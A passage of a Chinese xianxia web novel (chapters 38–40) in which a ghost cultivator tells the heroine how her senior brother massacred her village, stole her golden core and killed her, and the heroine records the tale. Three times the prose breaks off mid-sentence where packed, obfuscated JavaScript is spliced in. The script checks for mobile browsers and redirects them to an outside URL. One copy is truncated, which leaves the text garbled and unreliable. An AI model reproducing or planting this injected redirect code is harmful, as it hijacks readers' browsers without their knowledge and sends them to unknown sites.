才贴着墙角疾行几步,便察觉不对,抬头,只见满院满楼都是鬼仆,所有鬼的视线都齐刷刷随着她的动作移动,她正在人家眼皮子底下逃跑。 萧衔蝉连忙试着运转法力,她正要掐诀施法,耳畔发丝忽然从背后被风吹起,一股极其阴寒的冷从肩膀蹿上来。 她微微侧头,只见一只皮肤干枯紧缩的黑色手掌紧紧扣着自己的肩头。 萧衔蝉立马认怂,双手合十举过头顶,低眉顺眼:“姐姐我错了,求放过。” 只听背后传来一声嗤笑,肩头的手越抓越紧,细长的指头几乎嵌进肉里,骤然疾风扑面,刮得她睁不开眼,她被女鬼抓着上天了。 月明星稀,深林之上乌鹊飞过几圈,卷起树梢上的叶子,一队修士驾云行于夜空,领队的宋词乎右手翻转,一个毛笔样的法器瞬间现于掌中,笔管乃是白玉,其上有一线阳绿,沿着绿雕了一棵挺拔的松。 她右手提笔,笔尖不知从哪带着墨,她在半空中悬腕而书,走笔龙蛇:“欲归迷路肯留无?”七个墨字凝结成一条浅淡的线。 后面一个小修士看着墨字拍马屁:“宋师姐,这法宝是不是师父的往圣绝学墨?到底是宋师姐,真是得师父倚重。” 那个“重”字还没说完,这个小修士就被旁边同门怼了怼胳膊,那人悄悄说:“那就是普通的墨,师父的往圣绝学墨赐给唐师兄了。” 而唐师兄所在的那队修士由师父亲领。 于是众人皆不敢多话了,那道指引方向的浅淡的线也消弭于山林草木香中。 宋词乎引领的修士小队气氛更加沉闷,众人心里都开始犯嘀咕——他们都看得出来,师父所有亲传弟子中,唯有宋师姐最勤勉好学,且最是赤胆忠心地敬重师父,可师父对宋师姐就是不如唐师兄信重。 宋词乎没有将师弟妹们的话放在心上,也没有气馁,复又提笔写下:“美人依约在西厢,只恐暗中迷路,认余香。” 山林中的竹子清香渐渐被冷冽的松针香盖住,宋词乎收了法宝,令众人沿着松香行走。 萧衔蝉坐在鹊桥之上那座红色大殿的屋顶上,坐在这里,感觉离月亮更近了,她都能看到月亮上两个影影绰绰的人影,好像吴刚和嫦娥。 嗨,真是吓出毛病了,萧衔蝉心想,月亮上怎么可能会有人影?话说梁砚之把自个提溜上房顶后就不见了,她去哪儿了? 心里才这么想,就见一个样貌丑陋的女鬼掐着一个男人的脖子,从月亮那向下飞,衣袍猎猎,在半空中手一松,男人霎时掉下去,被骨翅鹊鸟叼住,飞向外面去了。 萧衔蝉看得清清楚楚,男人面色青白,眼底乌黑,显然是被吸干了阳气,就这样放出去,肯定命不久矣。 梁砚之丝毫没有才害死一个无辜人的样子,潇洒地撩开湿答答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧衔蝉的脑子还沉浸在狗血里,发散思维:“你爹娘是胭脂河传说中的师兄和仙子?你是言情故事男女主的孩子?” 梁砚之大发雷霆,怒而站起,鬼身愈加可怖:“什么劳什子传说故事,那都是编出来粉饰太平的,与我们家毫无关系,这话我只说一遍,你给我记住了!” 萧衔蝉看梁砚之周身鬼雾翻滚,既怒且悲,她被鬼气冲得倒向后面,连连点头,讨饶道:“姐姐我错了,气大伤身,快消消气,只要你不生气,让我干什么都行!” 梁砚之斜眼乜她:“干什么都行?” 萧衔蝉哽了一下,补充道:“送死不行。” 想了想又补充道:“受伤也不行,如果非要受伤,那就不要太疼,我怕疼、怕伤、还怕死。” 梁砚之哼了一声:“这也怕,那也怕,你还修什么仙?”不过被她这么一耍宝,怒气倒逐渐平息了,“我不要你疼,不要你伤,也不要你死。” 萧衔蝉立即正了神色,坐直看向梁砚之,她明白戏肉来了,或许梁砚之要她做的事,就是她对她为什么这么特别的原因。 梁砚之道:“我要你写一个故事,传遍九州,无人不晓。” 萧衔蝉的脸色古怪起来,她一到密州和饶益就将自己写的书投进了各大书坊,只才没多久,她“文豪”的名声就已经传出去了?甚至连匿身于深山老林的梁砚之都知道她? 萧衔蝉又是觉得不可能,又是兴奋,惴惴道:“你是我的粉丝?在催我开新文?” 要求还不低,还要新文传遍九州,莫非是事业粉? 38. 汨罗坞(十) 祝墨之在山林上空飞行,他脚踏生民笔,手握天地纸,气势全开,只等见了那鬼就解决了她,下方山林绿浪翻滚,似也在贺他旗开得胜。 唐诗乎紧跟其后,和其他师弟妹说“悄悄话”。 “为天地立心,为生民立命,为往圣继绝学,为万世开太平。此乃吾等儒修心法第一句,但自古参透圣言且身体力行者少,追名逐利做禄蠹者多,也唯有咱们师父,以身践大道。” “我们不仅应该勤苦修炼,更应该向师父学习,勤勉修心。” “今日师父必会一举降伏厉鬼,还百姓安宁,我等能与师父同行,真是三生有幸。” 这些自以为高明的“悄悄话”并没有让祝墨之觉得快活,他看着山间错综复杂的地形,渐渐沉浸在自己的回忆里,月光清凌凌洒下来,他好像怕被人发现似的,往山林阴影中走去。 萧衔蝉的眼睛被一根绣有金色禁制符纹的红绫遮住,她紧紧握着梁砚之冰冷的胳膊,任由她带自己行走,不知转了几个弯,她感到脚好像踩在一个冰凉平滑的地方。 遮蔽视线的红绫褪下,萧衔蝉远远地看到一个环形池,池中不是水,而是升腾着的、金灿灿的阳气,这些阳气遵循池边石头上刻的符纹运转,向空中的一颗珠子汇聚。 珠子吸纳阳气后,愈发灿烂光华,如同神女普照,笼罩住底下之物。 只见环形阳气池正中被阳气笼罩着的,是两副冰棺,一副冰棺里是个面容栩栩如生的独臂中年男人,另一副冰棺里只有半只惨不忍睹的手掌。 梁砚之又变回了人形,她并不让萧衔蝉靠近阳气池,自己也不过去,只站在远处,久久凝视那两副冰棺。 悔恨、眷恋、痛苦、恐惧……种种情绪交织在一起,令她的双眼蒙上一层薄雾。 萧衔蝉看到此情此景,总算明白梁砚之为什么会抓那么多男人了吸阳气了。 此间静默良久,久到萧衔蝉以为梁砚之要哭出来,梁砚之才开口:“这里,就是我爹娘的住所。” 萧衔蝉连忙对着两副冰棺一鞠躬,她想了想劝道:“你是想让你爹娘修成鬼相,这才四处抓阳气足的男人,好采阳补阴吗?我也怕亲友离去,所以能理解你的做法,但是你抓来的人又何辜?他们也有家人,他们的家人也会为失去亲人而痛苦……” “你懂什么!”梁砚之厉声打断了她的话,“都是一群忘恩负义自私自利的王八蛋,我便是屠尽青橘城,他们也不冤枉!” 黑雾翻滚,不等萧衔蝉想法安抚住她,梁砚之就迅速平复下了心情,看到她情绪起伏如此之大,萧衔蝉不敢继续说下去,她岔开话题:“可以和我聊一聊你父母的故事吗?他们一定是对恩爱的夫妻。” 梁砚之古怪地看了她一眼:“不,他们其实是兄妹。” 萧衔蝉的话一下子全噎在喉咙里,差点呛住,好在梁砚之并没有让她为难多久,自顾自说下去。 青橘城的凡人日子向来过得去,说过得去,其实也就是饿不死的程度,经不起一点打击和波折。 家家户户沿着青橘河,搭起一座座吊脚楼,种下一垄垄稻谷田,白天在梯田耕种,晚上听河水滔滔入眠。 丰年饿不死,饥馑时候,死了也就觉不到饿。 不过哪处的凡人不是这样呢?那些富贵繁华属于贵族,长生不老属于最顶端的修士,而普通的百姓,大概只有秋收时金灿灿的稻谷和发酸的青橘短暂属于他们。 梁砚之出生于一个渔民家庭,这个家庭在她之前已经有十个孩子了,活下来了六个,两个女儿,四个儿子,对在温饱线上挣扎的家庭而言,这些儿女太多了,第十一个出生的梁砚之是累赘,是来抢夺口粮的赔钱货,所以一出生就被亲爹丢进尿桶,提到河边扔了。 那里靠近鱼市,全是死鱼烂虾的味道,鱼鳞鱼骨裹着滑腻的粘液和鲜血流得到处都是,刚出生的梁砚之大概率会和这堆腥臭的血肉烂在一起。 不过她是幸运的。 “我爹娘是一对兄妹,老家在鹿鸣城,那一年鹿鸣城发生了旱灾,梁家只有他们二人一路乞讨,活着来到青橘城。”梁砚之的瞳孔里流露出讥讽和悲伤,“他们俩居无定所,却还烂好心,非把我捡回去,东讨一点水,西捡一点柴,卖艺买米粉,兑成米糊喂我,然后我就活下来了……呵,他们惯常烂好心,自己都吃不饱饭,还时而省下一口饭周济比他们更穷的人。” 她的笑声苦涩悲凉,沉寂一会,继续说了下去。 “我爹爹姓梁讳绛,我娘亲姓梁讳丹,他们二人便商议着,给我取名胭脂,他们说捡到我的那天,我身上红彤彤的,一看就跟他们有缘。” 萧衔蝉与梁砚之坐在距离阳气池很远的地方,这里搭了座石台,并无巧饰,只以一大片岩石为座,岩石正中微微凹陷,比别处平滑,显然梁砚之时常坐在这里。 面前是高堂安睡之地,金光灿烂,背后是一片暗沉夜空,一颗星子也无,只偶尔骨刺突出的鹊鸟叫几声,呕哑嘲哳不成调。 萧衔蝉心中对此处是何地已有了几分猜测。 梁砚之眼睛空蒙,陷入久远的回忆:“五岁时,我们在青橘城河畔村安了家,村子里的人很好,我家邻居黄四娘种了几垄苜蓿,苜蓿开花时很美,村头的水车总有吱呀声,阿公们就喜欢在水车旁磕烟袋,撑船的刘艄公和赵艄婆老吵架,赵婆婆一生气就拧刘阿公的耳朵……那几年日子虽然清贫,但很安宁。 十二岁时我爹娘带我去鹿鸣城,正逢汨罗坞收徒,我检测出了灵根,成了汨罗坞的外门弟子,那时我又高兴又难过,高兴的是我三四岁时就会一些小法术,我还以为我是怪物,谁知我居然能修行,难过的是,我放心不下爹娘,所以常与爹娘通信。 再后来,又成为昭平儒君的亲传弟子,师父说,若我能在五十岁前修成金丹,便放我下山见爹娘,为了早日见到爹娘,从凡人到金丹,我只走了二十年。” 萧衔蝉大吃一惊:“什么?你的意思是你不到四十就是金丹期?” 她下巴都快掉下去了,要知道,大师兄花沸雪天赋好且修炼勤恳,从筑基到金丹都修了一百余年,何况梁砚之起步是凡人,这是何等惊才绝艳的天赋! 梁砚之看她一副目瞪口呆的模样,觉得好玩,便多说了几句:“我占了灵根好的便宜,我是极品火灵根,加上悟性也还行,所以修行速度稍微快了点。” 萧衔蝉只觉得自己好像在和爽文大女主聊天。 “在我下山前,因为忙于修成金丹,故而已有一年不曾与爹娘通信了。”梁砚之的眼睛赤红,鬼相在皮囊下一鼓一鼓的,几要冲破皮肤,“我真是该死,早知道……” 她声音嘶哑,哽咽不能言,手掌一转,一四方砚台出现在掌心,大巧不工,这方砚台古朴无饰,似一块寒铁,微凹的砚中渐渐汪起一片清水,清水倏尔卷上半空,铺成一片水幕,水幕中出现了一个熟悉的人影——祝墨之。 汨罗坞遣弟子为饶益各城城主,令弟子入红尘,修己修心修行,因梁砚之的修为在同代弟子中一骑绝尘,所以她本该是那一代弟子中第一个被派为城主的人,但她因闭关冲金丹,故而一项不甚起眼的祝墨之被率先派遣到青橘城为城主。 祝墨之下山前,昭平儒君千叮咛万嘱咐:“此次入城为主,切记不可逞强,若遇不能化解之事,便与师父传讯符,若你不好意思告知师父,待你师妹出关后,与她传讯符也是一样的。” 祝墨之原本感动的神色在听到“师妹”二字后,瞬间阴沉,下垂的手不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044567|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉攥紧。 祝墨之原本也是汨罗坞这代弟子中大名鼎鼎的人物,他出身好,性格温和,又是掌门的第一个亲传弟子,原本颇受众人看重,但自从梁砚之被昭平儒君收为第二个亲传弟子后,他就如同月亮旁边的星星,再也没人注意他的光芒。 “青橘城那年发生了极大的婴鬼作乱之灾。”梁砚之道,“因为此地百姓养活不起那么多孩子,所以很多婴儿一出生,就会像我一样被丢到河滩上,我生身父母还算手下留情,有些心狠之人直接将孩子与隔壁交换,为自己多添一道肉菜。” 萧衔蝉攥紧拳头:“粮食不够吃吗?不是修士管理一城吗?难道还会有苛捐杂税?” 梁砚之怅然道:“修士再神通广大,也就是一个人罢了,总有当地世家大族依附上来,许以重利,从城主手中分享权力,他们为了富贵奢靡的日子,又怎会不层层盘剥压榨? 别处我不太清楚,不过青橘城的百姓们自己吃饱饭都难,遑论再多养个婴孩,故而此地溺婴成风,若出生的是男孩,还有活命的机会,若出生的是女孩……故而出现婴鬼作乱,我毫不意外。” 萧衔蝉眉头紧皱,鼻尖已嗅到若有若无的血腥。 “祝墨之费尽全力,将作乱的婴鬼困在一处村子里,为了快点让青橘城恢复平静,好成为他往上爬的一份政绩,便不顾村中尚有无辜百姓,降下灭魂钉,将那处所有生魂连同婴鬼一起打散,那个村子,就是河畔村。” 血泪滚出梁砚之的眼眶。 “六十三户、四百四十一条人命,我爹娘也在其中。” 暗夜竹林之中,谢无柩与金不禁一同用潜行符来到吊脚楼背后的青山,山壁凿出零散的洞府,离远看像是青山长出的眼睛。 谢无柩原想自己行动的,奈何如今手不能提,肩不能抗,虽然萧衔蝉给了他不少符箓护身,可他一丁点法力都使不出,出门的时候让金不禁发现了,只能带上他。 “谢道友,那个黄真人真的住在这儿?你怎么知道的?你来这儿干什么?万一打不过他咱们可得快点跑,跑路时我扛着你能快点吧?” 谢无柩闭了闭眼,该说果然是她的同门吗?如出一辙的聒噪。 谢无柩并没有像金不禁想的那样去寻黄真人,与其刀对刀,而是找到黄真人所在的洞府后,示意金不禁与他藏身于阴影处。 黄真人正闭眼打坐,周身罡气阵阵,谢无柩仔细感应了又感应,还是没觉察到轮回盘的灵珠在哪里。 真是怪事!谢无柩不由暗道,自打他于浮云阁地下的龙柱上拿到灵珠,便置于袖中,好好保管,难道真是自己一个不小心,丢了? 多想无宜,此地也不宜久留,谢无柩听着金不禁好奇的啰嗦,又回去了。 萧衔蝉还在听梁砚之说话:“祝墨之降伏婴鬼的三天后,我出关了,回到家乡只看到爹娘和村人的尸身,怎么都寻不到魂魄,生魂会留在尸身所在之地七天,我觉得不对劲,只疑心婴鬼背后还有恶人,便将猜测告与祝墨之知晓,只恨那时我心忙眼盲,一心视他为师兄,未曾察觉到他阴狠险恶。” 二人眼前的水幕终于动了起来,显示出梁砚之东奔西走,搜集当日婴鬼作乱时的细节,却受到无数阻拦,终于打听到有疍民在那夜于青橘河的舟上睡觉,那个疍民正好是梁绛梁丹兄妹接济过的人。 梁砚之以为终于有了眉目,兴冲冲前去,那人却连连摆手,推说睡过去了,什么也不知。 梁砚之失望极了,她察觉到那人神色不对劲,便悄悄躲在青橘河边,潜伏数日,未免师兄担忧,还给祝墨之传讯,告诉他,她要去安葬爹娘,请师兄不必担忧。 然后,在一个夜晚,她看见一样貌平平的人来到青橘河,要杀那个疍民灭口。 39. 汨罗坞(十一) 梁砚之自以为抓到了真凶,连忙冲了出去,救下疍民,与那个神秘人打成一团,只是那神秘人有法宝护身,瞬息便逃走了。 梁砚之却看着那人逃走的方向出神,皆因此人使出的法宝,模样像极了汨罗坞每个弟子都有的毛笔,这种毛笔是宗门赐给弟子保命用的,只能用于逃跑。 她再问疍民倒底那晚看到了什么,疍民却浑身打颤,求饶道:“别再来找我了,我什么都没看见,放我一条活路吧!” 梁砚之怒不可遏:“我爹娘在你快饿死时给你饭吃,就冲着这份恩情,你都不愿帮我找到真凶吗?” 疍民只顾着磕头:“我一个小老百姓,我招惹不起那些大人物,梁奶奶,我给你磕头了,我就是这么个忘恩负义的人。” 说完他就连滚带爬地跑了,连船都不要了,梁砚之站在小船上思索良久,还是决定求助宗门。 “我那时真是傻子,第一时间就将所有线索传讯给祝墨之、师父和各位长老,奈何师父那时闭关,各位长老以为不过是几百条人命,不值得因此大费周折彻查宗门,故而只有祝墨之与我一起查,他说查出了许多线索,不过他要坐镇青橘城,只能让我一个人去辨认线索真假。” 萧衔蝉静静听着她说话,面前早已摆出秃毛笔和一刀纸,毛笔上下挥舞,将梁砚之说的话一一记录下来,墨字写满一张纸后,那纸就自动飞到半空晾干,不过一刻钟,萧衔蝉四周就环绕了好几张被墨字填满的纸。 水幕之中,梁砚之被祝墨之骗往各处险峻之地,又是遇厉鬼又是逢邪修,梁砚之每次都险象环生,好在她法力高强,性格坚韧,总能化险为夷。 最惊险的那次,梁砚之被一个用活人炼丹的邪修打碎全身经脉,法力尽失,掉下悬崖,幸而遇到一棵生死藤重塑经脉,这才活了下来。 如此折腾了一年,她虽没寻到爹娘魂魄,但排除了许多假线索,也正是因为假线索太多,梁砚之觉得不对劲,加上伤势过重,修为从金丹大圆满退至金丹初期,便决定暂缓行动,回青橘城休养生息。 这趟回去,发现宗门已经传遍她痴恋祝墨之,甘愿为他扫清一切障碍的谣言,她为寻爹娘魂魄和屠村真相而杀死的邪修厉鬼,都变成祝墨之政绩的一部分。 水幕之中,梁砚之脸色苍白,浑身是伤地站在青橘城门口,祝墨之迎上前,笑的包容又漂亮,这笑容像是看穿师妹的情意,想要拒绝却又怕惹师妹伤心,这副情态果然引得众人皆夸他涵养好。 “呸!”萧衔蝉骂了一句脏话:“好恶心的狗男人!道貌岸然的衣冠禽兽。” 梁砚之看到这段过往,倒比萧衔蝉平静:“回去之后我打算闭关修复身上各处伤,祝墨之告诉我,他在青橘河附近发现了许多生魂的痕迹,我便赶忙过去,果然发现了爹娘的魂魄。” 水幕之中,梁砚之才与梁绛梁丹重逢,一家人正激动时,忽然河面升起龙吸水,庞大的水柱裹挟阴毒的法术直冲梁砚之三人而来,若这道水柱碰到梁绛梁丹,此二人必定瞬息魂飞魄散。 就在这时,祝墨之来了,他还是一派温文尔雅,似乎很为梁砚之担忧,急道:“师妹,必定是那幕后黑手来了,你快带伯父伯母走,我来断后。” 梁砚之放心地将后背交给她信任的师兄,然后就被那道水柱打个正着,情急之下,为护住爹娘,顾此失彼,她被水柱形成的牢笼压个正着,她才重塑经脉不久,经此一遭,经脉又碎裂了一半。 她还以为师兄祝墨之不敌,很是担忧,压下喉头腥甜,回头便看见祝墨之五指成爪,向她打来。 萧衔蝉紧张地双手握拳,虽然已知注定的结局,她的心中还是生起一丝希冀,只可惜奇迹没有出现。 梁砚之被打中灵府,一颗光华灿烂的金丹如日初升,被祝墨之一把抓住,吞入腹中,她怒目圆睁,灵府大开,浑身鲜血淋漓躺在河畔,气息奄奄,却依然如同一株铮铮的铁莲花。 祝墨之吸纳了金丹蕴含的法力,满足地喟叹一声,步履矜贵地围着水笼转了几圈。 “梁胭脂,你一个弃婴出身的凡人,本不配入汨罗坞,可老天无眼,给了你这番造化,你老实当个外门弟子,度过你本该度过的匮乏一生,我也不屑与你计较,可你偏偏心机深沉,日日假装勤勉修炼,算计得了师尊青眼……你也配得赐之字?你也配得师父所赐法宝?” 梁砚之的怒火熊熊燃烧,此时此刻,她还有什么不明白,她落入圈套了! “不过几百口凡人性命,我杀便杀了,你为何非得求个真相?原本我不想杀你的,你虽然不驯,没有女子婉约之美,却非常好用,给我送了许多功劳,我可以说服自己接受你低劣的身世,允许你嫁入祝家……” “呕——” 梁砚之被恶心吐了。 祝墨之扭曲的笑容僵在脸上,半晌,掐着她的脖子低吼:“你知道我最讨厌你什么吗?我最讨厌你的眼睛!你的眼睛永远只盛得下比你强的人,我将你视为对手那么久,可你竟一点没察觉到!你怎能不知道?你怎能不知道!” 他的声音越来越阴刻尖利,说到最后,两指成勾,硬生生将梁砚之的眼睛挖出来,他没有用法力,而是用自己的手指将两颗总是泛着不屈光芒的眼睛碾碎。 梁绛梁丹浑身哆嗦,试图阻止他,可他们只是普通的凡人魂魄,毫无还手之力,只能眼睁睁看着女儿遭受碎丹剜眼之苦,痛苦得撕心裂肺。 梁砚之面对自己曾经的痛苦很是平静,可旁边却传来抽泣声。 梁砚之惊讶地看萧衔蝉:“你不会哭了吧?” 萧衔蝉脸扭向一边,发辫遮住脸,梁砚之一个俯身歪头,果然看到萧衔蝉果然眼睛通红,蓄着两泡泪。 “你真哭了!” 萧衔蝉不想让人看见她哭,低头,却撞上梁砚之戏谑的眼神,不服气地一把擦去眼泪,瞪她:“你不是天才吗?怎么就这么死了哇呜——” 说到最后,没憋住,哇的哭出声来。 梁砚之有些别扭地轻咳一声:“我的确有几分天赋,死了没多久,就变成鬼修了。” 她指了指水幕,只见祝墨之将梁砚之剜眼之后,吸走她所有法力,然后将她与爹娘抛入青橘河,河水滔滔,一个浪翻过,所有的鲜血就都被吞噬了。 汨罗坞弟子命灯堂中,名为梁砚之的灯熄灭了,青橘河里,被河床沙石冲刷的尸体似被一股莫名力量裹挟,来到一座瀑布下面。 “大概是我死了的第三年,我就又修至金丹期,这次是用鬼体修炼,难度较大,不过掌握了方法其实也不难。”梁砚之好像一个学霸,热情地分享自己的学习心得。 萧衔蝉奇怪地看着不再动的水幕:“怎么后面没有了?” 梁砚之道:“这个水幕是我法宝的能力之一,与留影石类似,也需要法力驱动,那时我都死了,哪来的法力驱动它?” 她一挥手,水幕又化作一股清水,被四方砚吸尽。 “我有了修为之后,第一件事就是寻阳气足的男人,温养我爹娘的魂魄,第二件事,就是找祝墨之报仇!” 萧衔蝉默默听着,在她说“温养魂魄”时,眼睛不自觉瞥向那颗冰棺之上金灿灿的珠子。 普通魂魄惧怕阳气,但那颗珠子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15049084|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然是个宝物,阳气经其转化,变成了可以温养魂魄的好东西,而这个宝物,恐怕就是黄真人此行索要的东西。 而梁砚之说完报仇,一直未说话,两人都陷入一阵沉默中,半晌,今日说了很多话的梁砚之倾诉道:“萧衔蝉,我直到如今,才想明白一件事,永远不要让仇恨蒙蔽双眼。” 萧衔蝉已经猜到几分,只是真相太惨烈她不敢确定,她看向安置半只手的冰棺,嘴唇蠕动,最终还是没问出那个问题。 《幽冥录》上说:人死为鬼,鬼死为聻,聻死为希,希死为夷。 若说鬼、聻、希还尚且有意识,那么夷便如同没有灵智的一股风、一片雾。 “我是鬼身时,才修至金丹便急于报仇,结果不出意料,败了;成聻时,我修至金丹大圆满,再度去报仇,结果又败了;成希时,我修至元婴大圆满,只差半步就是化神期,结果我快要杀了祝墨之那贱人时,昭平儒君现身救了他。” 萧衔蝉连忙打断她的话:“你师父没认出你来吗?” 她想梁砚之回想血淋淋事实的脚步慢一些,缓一些。 梁砚之无所谓道:“谁知道呢?或许没认出来,或许认出来了,只是认为一个是活着的金丹后期弟子,一个是死了的、变成鬼修的弟子,两者相较,自然是第一个弟子重要些。” 她的语调逐渐滞涩。 “那次被昭平儒君打散后,我就再无意识,等我醒来后——我都不知道我居然还能再有意识——等我再有意识后,发现我娘亲的魂体只剩下半只手掌,我爹爹的魂体也少了一只胳膊。” 梁砚之呆呆地看向萧衔蝉,因为极其痛苦,她动作迟缓,好像在不断撕扯伤口,任由伤口鲜血淋漓,只为了更加痛苦,而痛苦,就是她自己惩罚自己的刑具,但她如同饮下美酒般,饮下这痛苦。 梁砚之说:“萧衔蝉,我吃了我娘亲。” 萧衔蝉不顾梁砚之身上鬼气森森,冰冷刺骨,一把抱住她。 《幽冥录》记载,聻、希、夷皆以鬼为食,若被吞噬的鬼心甘情愿,其便能保留原有神智。 梁砚之鬼体僵硬,温度寒冷刺骨,脸上骨头尖利的部分压着萧衔蝉脸上的软肉,她还在一字一句地说话。 “她怎么那么傻,我未曾借她腹中出生,与她并非血肉相连的至亲,自她捡到我的那天就被我拖累,日子更加困苦,她以心血浇灌我,我却只承欢她膝下十二年,待我功成名就后,想要尽孝,然一天孝都不曾尽,却叫她受我牵累,同沉江水四百年。 我爹爹也是个傻子,被我啃了一条胳膊,疼得只剩一口气了,还要守着我清醒,待我醒后,他就该斥责我,骂我,打我,杀了我都好,可他竟然说不怪我,他竟然说……好好活着……” 两行血泪顺着萧衔蝉的脖颈流到她的肩膀上,冷得她打哆嗦。 “我还算活着吗?我现在确实不敢死,我身上有我爹娘的血肉,我要是龟缩一处,不找那贱人报仇雪恨,我爹娘就白死了,可我若是轻举妄动,我爹娘也白死了,我不敢死,也不敢不死,我怕死早了,爹娘会生气,我怕死晚了,追不上爹娘的脚步。” 梁砚之血泪流了满脸,露出鬼相,空洞的眼洞汩汩流出血泪,像两条河:“你知道我爹爹最后怎么说服我不自戕吗?” 她摸索怀里,从湿答答的衣服中取出一小片破破烂烂的纸,上面稚嫩的字迹写着:我梁胭脂长大后,肯定不会像个比二麻子,我会一直艾爹爹娘亲,听爹娘的花。 “他说我小时候向他们保证过,会听他们的话。”梁砚之又哭又笑,“里面还有好多错别字呢。” 40. 汨罗坞(十二) 宋词乎寻着那抹若有若无的香气一直往前走,走到诸多师弟妹们都不耐烦了,她终于停在一处山顶,那股香气直冲云霄。 宋词乎皱了皱眉,决定赌一把,她向着高处驾云飞去。 萧衔蝉已经回到了吊脚楼,她的周围环绕着写的密密麻麻的纸张,每一张都是梁砚之一家人和无辜丧命的凡人的血泪。 写完最后一个字,收笔,萧衔蝉将这段与其说是话本,不如说是真相访谈的文字从头到尾看了一遍,这些文字不加修饰,血淋淋地将高贵华丽的皮囊撕开,露出丑陋真实的历史,她不知道描写真相的文字能不能传播出去。 但可以预见的是,根本不会有书肆愿意售卖这些文字,即便有,也很可能在这些文字传播出去不久,就迎来上头的封印,大被一盖,销毁证据,掩藏真相,然后各打三十大板轻轻揭过,正如在明月夜经历过的那样。 可她答应了梁砚之,一定让这个故事传遍九州。 萧衔蝉眼珠转了转,突然想起一个法术,要是这个法术改得好…… “师姐。”外面突然传来敲门声,是头上盘着小黑的秦含玉。 萧衔蝉连忙开门,叫她进来,秦含玉疑惑道:“那个女鬼突然叫鬼仆来给我松绑,还说不禁止我在这里四处转悠,师姐,你说她是什么意思? 萧衔蝉看到师妹完好无损,放下心,问道:“待会再告诉你,大师兄他们呢?” 她与梁砚之做了交易,梁砚之既然要她写东西,定会对她的亲友们好一些。 “他们在迦象子小禅师的房间。”秦含玉道,“女鬼不限制我们的行动,但迦象子还被紧紧绑着。” 萧衔蝉便抱着一沓纸,与师妹一起去迦象子的房间,一进门,果然见大师兄二师兄和谢无柩在一起,正中的竹椅上,迦象子被黑雾五花大绑。 看到她二人进来,迦象子激动得眼睛都亮了:“太好了,人多力量大,贫僧正愁地藏十轮阵该怎么办呢。” 萧衔蝉目瞪口呆,听这话的意思……“迦象子,你该不会是想让我们去布置十轮阵吧?” 且不说他们愿不愿意,布置此阵的法诀他们从没学过啊!而且此阵是莲送归的秘法,他们又非佛修,如何成事呢? 迦象子道:“法诀很简单,难的是真正有一颗愿意聆听天下苦难并为此伸张正义的心,心怀慈悲,虽万难却能证果,贫僧观诸位道友皆是心怀苍生之人,且师兄此时不在,故而也只能烦请诸位勉力一试。” 萧衔蝉长叹一声:“伸张正义?伸张谁的正义?” 她将梁砚之过去的来龙去脉与众人讲清楚。 秦含玉听完所有故事,立即柳眉倒竖,怒发冲冠:“亏我还以为那个祝墨之是个好人,只是酸唧唧了些,没想到他竟如此禽兽,待我们出去,我定把他的肠子打出来。” 花沸雪拦住她,不赞同道:“梁道友经历多舛,可悲可悯,只是你不能私自去殴打他人,万一被人捏住你的小辫子,不能帮梁道友申冤不说,你自己也要搭进去。” 金不禁补充大师兄的话外之意:“咱们到时候去套祝墨之麻袋,拖到无人处狠狠打一顿,然后把他的罪状公之于众!” 迦象子见众人围坐一团,早忽视了他的请求,不由高声道:“你们忘了,咱们来此是为了布下十轮阵的!梁砚之固然历经世上最惨痛之事,可被她掳掠至此的凡人也是无辜啊,难道他们就白死了?” 方才还聊得热火朝天的众人都不说话了,萧衔蝉想了想,坐到迦象子的面前:“我对布下十轮阵没有任何意见,只有一个请求,能不能在梁砚之魂飞魄散之前让她亲手报仇?” 迦象子无奈道:“那也得先布下十轮阵再说,你怎么知道梁砚之没有骗你呢?若你能布下十轮阵,于此阵中做谛听,便能听到万事万物之音,无矫无饰之语,便能分辨真假善恶。” 萧衔蝉问道:“若一人于此阵中做谛听,其人便可听见万事万物?” 迦象子点头:“然也。” 萧衔蝉的眼珠转了转:“那此阵稍作改变,是否可以让天下万物听见或看见一人的所言所语呢?” 迦象子一愣,这个要求理论上可行,但实际上很难做到,阵法改动之艰深晦涩是一方面,灵力够不够支撑是另一方面,如今世上除却上界仙人,也就修士大能可以使天下万物瞬息听到自己声音。 萧衔蝉却不气馁,仔细观摩迦象子给出的阵法图和法诀,在迦象子的催促下,和师兄妹们出门,寻找适宜布阵的地方,但由于知晓了梁砚之的过去,秦含玉他们并不想竭尽全力捉拿厉鬼,只松松散散地在廊子下漫步。 迦象子被绑缚住,动弹不能,看见他们的样子,又是着急又是央告。 萧衔蝉不作理会,蹲在一边,双手掐诀,一个小型十轮阵法图就显于眼前,金色的法图梵音阵阵,她一挥指,阵法某处的细节就变了。 齿轮转动似的响了几响,阵法图随着响声变幻了好几次,萧衔蝉用变化后的阵法试验她的想法,历经多次失败后,终于成功了,她看到自己写下的梁砚之的故事投影到了小师妹眼前。 谢无柩冷眼旁观,看到萧衔蝉的动作,不由挑高眉毛,改动阵法虽不是难事,却也不能轻易得偿所愿,观萧衔蝉所作所为,可见她着实是个有巧思的聪慧人,既为人聪敏,为何又懒怠修行呢? 